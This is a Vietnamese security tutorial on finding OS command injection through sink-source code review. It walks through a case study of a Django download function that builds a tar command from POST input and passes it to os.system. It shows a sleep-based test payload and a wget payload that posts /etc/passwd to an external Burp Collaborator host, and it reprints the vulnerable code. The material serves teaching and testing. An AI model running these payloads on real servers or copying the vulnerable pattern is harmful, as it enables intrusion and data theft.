CÁCH PHÂN TÍCH SOURCE CODE ĐỂ TÌM LỖ HỔNG OS COMMAND INJECTION
Chúng ta sẽ cùng nhau tìm hiểu về lỗ hổng OS Command Injection và cách tìm ra lỗ hổng này khi phân tích source code qua một case study cụ thể
OS Command Injection là gì?
OS Command Injection (hay còn gọi là shell injection) là lỗ hổng cho phép kẻ tấn công thực thi các lệnh bất kì của hệ điều hành trên server chạy ứng dụng. Lỗ hổng xảy ra khi một ứng dụng gọi tới lệnh shell để thực thi một tác vụ với input do người dùng nhập vào nhưng không lọc các input một cách cẩn thận.
Tùy vào mức độ tinh vi mà kẻ tấn công có thể thực thi nhiều tác vụ khác nhau, từ việc đọc, ghi file bình thường cho tới việc xóa các dữ liệu quan trọng, chiếm quyền hệ thống… Mức độ nghiêm trọng của lỗ hổng vì thế cũng khác nhau.
Cách tìm kiếm lỗ hổng OS Command Injection trong source code
Để triển khai các câu lệnh hệ thống, bắt buộc trong code phải tồn tại những hàm có chức năng thực thi những lệnh này. Với từng ngôn ngữ khác nhau sẽ có những hàm khác nhau.
Ví dụ như trong PHP sẽ có 2 hàm
shell_exec()
system()
Hay trong Python sẽ có các hàm
os.system()
subprocess.run()
subprocess.Popen()
Tất cả các hàm thực thi lệnh hệ thống đều có khả năng tồn tại lỗ hổng OS Command Injection. Và khi kiểm tra loại lỗ hổng này, ta cần tìm đến chính những hàm đó ở trong source code, tùy vào loại ngôn ngữ lập trình mà ứng dụng đó sử dụng.
Sau khi đã tìm ra những hàm thực thi câu lệnh hệ thống, ta cần tìm ngược lại những hàm lấy đầu vào được sử dụng làm tham số cho những hàm đó. Phương pháp này còn được gọi là phương pháp Sink - Source. Trong đó Sink chính là các hàm thực thi lệnh hệ thống, còn Source là những nơi chứa đầu vào. Từ Source, ta có thể thực hiện chèn những payload độc hại, là những câu lệnh hệ thống để khai thác lỗ hổng OS Command Injection.
Case study phân tích source code để tìm kiếm lỗ hổng OS Command Injection
Để rõ hơn về cách thực hiện phương pháp Sink - Source, ta cùng đến với một case study mà chính mình đã gặp khi đi phỏng vấn xin việc.
Quan sát đoạn code python sau:
Đoạn code trên là một chức năng download file của một ứng dụng web. Sau khi lựa chọn file và ấn download, chức năng này sẽ thực hiện gửi request Post về server, lấy file và nén lại, sau đó trả về cho người dùng download.
Trong đoạn code này, mình thấy có tồn tại một hàm os.system(cmd)
được gọi để thực thi câu lệnh hệ thống. Có thể nghĩ tới việc ở đây có tồn tại lỗ hổng OS Command Injection và hàm os.system(cmd)
này chính là Sink.
Từ đây, mình tìm ngược lên dựa trên tham số cmd để kiểm tra xem tham số này đến từ đâu, hay còn gọi là tìm Source của cái Sink này.
Nhìn vào dòng 66 đến 69 trong đoạn code trên:
Quan sát vị trí được gạch chân đầu tiên. Biến cmd
được gán với một hàm như sau:
cmd = "tar -czvf %s -C %s " % (output.name,DOWNLOADS)
Đây là một hàm dùng để nén file bằng lệnh “tar
”, nhận 2 tham số là output.name và DOWNLOADS. Trong đó output là một biến được tạo ở dòng 60 trong đoạn code trên như sau:
output = NamedTemporaryFile()
Đây là một hàm trong thư viện hệ thống của Python, dùng để tạo một file tạm thời. Các bạn có thể đọc tài liệu về nó ở đây. Về cơ bản đây là hàm của Python và mình không can thiệp được vào nó.
Nhìn tiếp sang tham số DOWNLOAD. Sau khi tìm kiếm về tham số này trong source code, mình phát hiện ra đây là một biến đã được hard code và không thay đổi được như sau:
DOWNLOADS = os.sep.join( [BASE_DIR, 'pwnable', 'downloads'] )
Như vậy ở vị trí này chưa tồn tại lỗ hổng OS Command Injection. Ta xem tiếp dòng lệnh tiếp theo.
for item in file_list:
cmd += item + " "
Với mỗi item trong file_list, biến cmd sẽ được nối chuỗi với item đó và một khoảng trắng. Biến file_list này là một danh sách được gán bằng cách gửi một POST request tới server.
file_list = request.POST.getlist('files')
Và như ta thấy ở đoạn code trên, file_list không hề được xử lý trước khi nối với chuỗi với biến cmd, dẫn tới việc ta có thể thao túng tham số này trong request. Bằng cách chặn POST request mà ứng dụng gửi đi, thay đổi tham số files trong file-list thành các lệnh hệ thống, hàm os.system(cmd) sẽ thực thi chúng. Từ đây ta đã có thể khẳng định vị trí này có tồn tại lỗ hổng OS Command Injection.
Để chắc chắn hơn, ta thử chạy chức năng này và kiểm tra thực tế.
Chọn 2 file và ấn download, sau đó qua Burp Suite để xem request được gửi đi.
Quan sát kỹ hơn data của request POST
Có thể thấy, tham số files chính là 2 options của ta đã chọn, và ta hoàn toàn có thể chỉnh sửa chúng thành các câu lệnh hệ thống như đã phân tích ở trên.
Sử dụng payload như sau để kiểm tra xem có đúng là ta có thực thi được lệnh hệ thống thật hay không
; `sleep 5`
Dấu “ ; ” để ngăn cách với câu lệnh “tar” phía trước, và ta dùng hàm sleep để gây ra độ trễ khi xử lý. Lý do mình đưa vào trong cặp dấu backtick là để nó thực thi trước, vì đây là substitution command, tránh gây lỗi.
Ứng dụng phản hồi chậm 5 giây so với mọi khi
Từ đây mình đã có thể khẳng định sự tồn tại của lỗ hổng rồi. Nhưng để chắc hơn, mình quyết định sử dụng phương pháp Out-of-band để gửi thông tin ra ngoài. Dùng payload
; wget --post-data `cat /etc/passwd` s3wkrmtbic3tf1stc09ubmdb72dt1jp8.oastify.com
Đây là một câu lệnh sử dụng wget để gửi một POST request ra ngoài tới một domain bên ngoài, với data là kết quả của lệnh `cat /etc/passwd`. Mình sử dụng domain của Burp Collaborator để nhận request. Mọi người có thể sử dụng các ứng dụng như webhook để nhận request, hay tạo một domain bằng ngrok (hướng dẫn bởi Cookie Arena), hoặc sử dụng chính domain của mọi người nếu có điều kiện.
Mình đã nhận được request gửi đến Burp Collaborator
Điều này chứng minh sự tồn tại của lỗ hổng OS Command Injection và những gì mình đã phân tích ở source code.
Kết luận
Lỗ hổng OS Command Injection tồn tại nếu như ứng dụng sử dụng các hàm thực thi lệnh hệ thống mà không xác thực các tham số đầu vào của các hàm ấy. Vì thế cách khắc phục chính là xử lý những tham số ấy, trước khi đưa vào trong hàm thực thi. Ngoài ra để ngăn chặn cách khai thác OOB, có thể chặn các kết nối từ Server ra ngoài Internet.
Với blog này, hi vọng sẽ giúp mọi người phần nào hiểu hơn về cách phân tích source code để tìm ra lỗ hổng OS Command Injection, cũng như ứng dụng được vào các dạng lỗ hổng tương tự như SQL Injection…
Đây là code giúp mọi người có thể theo dõi dễ hơn.
def mydownload(request):
response = HttpResponse("You shouldn't see this.")
file_list = request.POST.getlist('files')
if request.POST and len(file_list) > 0:
output = NamedTemporaryFile()
cmd = "tar -czvf %s -C %s " % (output.name,DOWNLOADS)
for item in file_list:
cmd += item + " "
os.system(cmd)
response = HttpResponse(content_type='application/x-gzip')
response['Content-Disposition'] = 'attachment; filename="%s.tar.gz"' % output.name
response.write(output.file.read())
else:
response = redirect("/list/")
return response